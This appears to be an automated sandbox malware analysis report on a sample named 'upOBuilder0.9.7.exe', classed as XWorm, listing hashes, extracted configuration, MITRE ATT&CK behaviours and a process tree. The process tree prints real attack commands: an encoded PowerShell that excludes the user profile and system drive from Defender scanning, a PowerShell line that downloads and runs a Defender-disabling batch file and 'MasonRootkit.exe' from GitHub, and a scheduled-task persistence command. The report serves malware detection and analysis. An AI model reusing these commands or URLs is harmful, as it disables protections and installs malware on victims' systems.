Analysis
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max time kernel
54s -
max time network
150s -
platform
windows10-2004_x64 -
resource
win10v2004-20250217-en -
resource tags
arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system -
submitted
06/03/2025, 17:21
Static task
static1
Behavioral task
behavioral1
Sample
upOBuilder0.9.7.exe
Resource
win7-20240903-en
General
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Target
upOBuilder0.9.7.exe
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Size
3.5MB
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MD5
c7789a0f8d83e744a84b0b4be0be7158
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SHA1
c8ffb47663650341146810daf5ebbc29018b3e1d
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SHA256
9365fa153dd60ba9703ea92cd37e0c737c5f222012644f6acb0892c558113451
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SHA512
711c59377faad994c4696d16e2718578f82673b2baac9d6d7022a5f37c81bfff71e812e8f5d574bfbfaf748b73d794faccc885d036dea751ea52e108e3dfea7a
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SSDEEP
98304:weaJXwmAk5dop8nuxgHe2eBu7jqhbq2OkVV9icA:WAk5dop8nuO1r7jq9nTFip
Malware Config
Extracted
https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat
Extracted
xworm
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Install_directory
%port%
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install_file
svchost.exe
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pastebin_url
https://pastebin.com/raw/J42c6s7r
Signatures
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Detect Xworm Payload 2 IoCs
resource yara_rule behavioral2/files/0x000d000000023b64-4.dat family_xworm behavioral2/memory/1200-13-0x00000000003E0000-0x00000000003F4000-memory.dmp family_xworm -
Xworm family
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Blocklisted process makes network request 2 IoCs
flow pid Process 9 4316 powershell.exe 11 4316 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4316 powershell.exe -
Downloads MZ/PE file 1 IoCs
flow pid Process 11 4316 powershell.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation upOBuilder0.9.7.exe Key value queried \REGISTRY\USER\S-1-5-21-1294999112-580688058-1763548717-1000\Control Panel\International\Geo\Nation Shell Infrastructure Host.exe -
Executes dropped EXE 3 IoCs
pid Process 1200 Shell Infrastructure Host.exe 4828 upO Builder 0.9.7.exe 5056 MasonRootkit.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 28 IoCs
flow ioc 11 raw.githubusercontent.com 49 pastebin.com 53 pastebin.com 56 pastebin.com 67 pastebin.com 77 pastebin.com 78 pastebin.com 10 raw.githubusercontent.com 32 pastebin.com 46 pastebin.com 51 pastebin.com 66 pastebin.com 76 pastebin.com 24 pastebin.com 34 pastebin.com 52 pastebin.com 59 pastebin.com 60 pastebin.com 64 pastebin.com 68 pastebin.com 69 pastebin.com 23 pastebin.com 44 pastebin.com 58 pastebin.com 61 pastebin.com 65 pastebin.com 72 pastebin.com 79 pastebin.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
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Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\Shell Infrastructure Host.exe upOBuilder0.9.7.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language upOBuilder0.9.7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 2452 timeout.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2908 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 684 powershell.exe 684 powershell.exe 4316 powershell.exe 4316 powershell.exe 4316 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1200 Shell Infrastructure Host.exe Token: SeDebugPrivilege 684 powershell.exe Token: SeDebugPrivilege 4316 powershell.exe -
Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 1228 wrote to memory of 684 1228 upOBuilder0.9.7.exe 87 PID 1228 wrote to memory of 684 1228 upOBuilder0.9.7.exe 87 PID 1228 wrote to memory of 684 1228 upOBuilder0.9.7.exe 87 PID 1228 wrote to memory of 1200 1228 upOBuilder0.9.7.exe 89 PID 1228 wrote to memory of 1200 1228 upOBuilder0.9.7.exe 89 PID 1228 wrote to memory of 4828 1228 upOBuilder0.9.7.exe 90 PID 1228 wrote to memory of 4828 1228 upOBuilder0.9.7.exe 90 PID 1200 wrote to memory of 4316 1200 Shell Infrastructure Host.exe 91 PID 1200 wrote to memory of 4316 1200 Shell Infrastructure Host.exe 91 PID 4316 wrote to memory of 5056 4316 powershell.exe 97 PID 4316 wrote to memory of 5056 4316 powershell.exe 97 PID 1200 wrote to memory of 2908 1200 Shell Infrastructure Host.exe 98 PID 1200 wrote to memory of 2908 1200 Shell Infrastructure Host.exe 98
Processes
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C:\Users\Admin\AppData\Local\Temp\upOBuilder0.9.7.exe"C:\Users\Admin\AppData\Local\Temp\upOBuilder0.9.7.exe"1⤵
- Checks computer location settings
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1228 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAdgB5ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AZwBtACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGgAZQB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHIAdABjACMAPgA="2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:684
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C:\Windows\Shell Infrastructure Host.exe"C:\Windows\Shell Infrastructure Host.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1200 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4316 -
C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"C:\Users\Admin\AppData\Local\Temp\MasonRootkit.exe"4⤵
- Executes dropped EXE
PID:5056 -
C:\ProgramData\MasonRootkit.exe"C:\ProgramData\MasonRootkit.exe"5⤵PID:2768
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp8E12.tmp.bat""5⤵PID:2572
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C:\Windows\system32\timeout.exetimeout 36⤵
- Delays execution with timeout.exe
PID:2452
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C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "Shell Infrastructure Host" /tr "C:\Users\Admin\AppData\Roaming\Shell Infrastructure Host.exe"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2908
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C:\Users\Admin\AppData\Local\Temp\upO Builder 0.9.7.exe"C:\Users\Admin\AppData\Local\Temp\upO Builder 0.9.7.exe"2⤵
- Executes dropped EXE
PID:4828
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{1cbb12aa-f242-4f71-9c7b-9b13ebbc9569}1⤵PID:1624
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C:\Users\Admin\AppData\Roaming\Shell Infrastructure Host.exe"C:\Users\Admin\AppData\Roaming\Shell Infrastructure Host.exe"1⤵PID:2320
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C:\Users\Admin\AppData\Roaming\Shell Infrastructure Host.exe"C:\Users\Admin\AppData\Roaming\Shell Infrastructure Host.exe"1⤵PID:5116
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
596KB
MD5bb2fd6c1b233fd2f08a6a43ef860bcb6
SHA11cd9ea091bc0d7f907fcd8cf8c8b9d3187e6dc04
SHA2568c4cddfb3723ecf013526733f93bd5f4408bc463c6a28ccb41b3fb63504ee9ce
SHA5122ee649cf68e5121bd4ad3e51bdf0c71d773a8d0c67ce262356156b312221285bf62409ac2e2c5c5748adc31d3c94b24777f2918bdb9fcf488c61b0e2c6dc50b5
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Filesize
1KB
MD53982d6d16fd43ae609fd495bb33433a2
SHA16c33cd681fdfd9a844a3128602455a768e348765
SHA2569a0a58776494250224706cbfbb08562eec3891fb988f17d66d0d8f9af4253cf9
SHA5124b69315f5d139b8978123bebd417231b28f86b6c1433eb88105465a342339c6c6b8c240a2ca8d2a9c1fca20136c8c167b78a770ab0664231f6e1742291cbf1aa
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Filesize
18KB
MD5019002ea13a9eb47b9c01355e960c1fb
SHA1dd244b5496ebcaf52dafd5deb086ccad58947420
SHA256be6e2bbd73302149d51a6907d8b5350227d4d0e564f6dffb848514762c4e1a26
SHA512ac7cd9ca7986904c844f4023540e8c6f498129f08a007d659975247b33f0e3aec50d8e340350fe8eaa1e76c72ab99872a29e8f7df8ed0ff41ca12b5278a3fa34
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Filesize
612KB
MD55e1eb1a67d40ccae40dee2a037ca6c64
SHA1786b54d3d451ea40faeeb20fd30a38744862eeb5
SHA25680e5cb11ae2512da3b7be501b469d6fc1a69a2017a143b9897023da9e366325f
SHA5120484da209f0c8edff5d1f08b841f3134008ff72fb563fa48a15f96c8ad23fdfb82cc8a59bc729f2db3d359e18558d6f4fbaf4b40955a38787472db438a043205
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
164B
MD5d488e14ca528ad02ed9f63ce93079267
SHA19b209427dc1117b4b6e79e43c2abc675785f00c5
SHA256ce678ae2f63d5c273e69686ffb226c6bdbee10707b90d09fe4e72a5524bc369d
SHA51213a9843137f23a464df46be8436d63f4120796168f16a3d57f033b9ba393fb381fcdda4bd210826ca18c049f257eb1c30ef6e121dbc9529ce45afda8bef2592d
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Filesize
3.4MB
MD5a6b3b0ef9a6ee3c74315a2b8c573e5c8
SHA180b75a960a383a824e48dd196416517e7e0525ec
SHA25649e993c3c40c13c28e32c53e90dde544665cf47ff43d418b7cba94fdf37db82d
SHA512a3c0363520c40e1e7cd247d02b16add2bb3ad8543e3afce2072b72787a807e8c07158b9f7a5fd5dd80156603bf83319d5593ff41f66781fb3d1729441705001f
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Filesize
55KB
MD5cc846067069513e0ec3d9ccc42426662
SHA1308c7d82ec6ba094e0d40d35a3ff042ce38974f1
SHA25636b04768d3e0cfa350dc7f910305c580138c5af7a9f7b234f9530f36e9efab17
SHA5125a12d153d5eeab4a6c6abbc7ebf084daa2edbebdce24746174be78bf8d551a3e4e86e4719b0d6c7616ee5f15174a4a5e2a0dda135fdff989797a55da478a1f93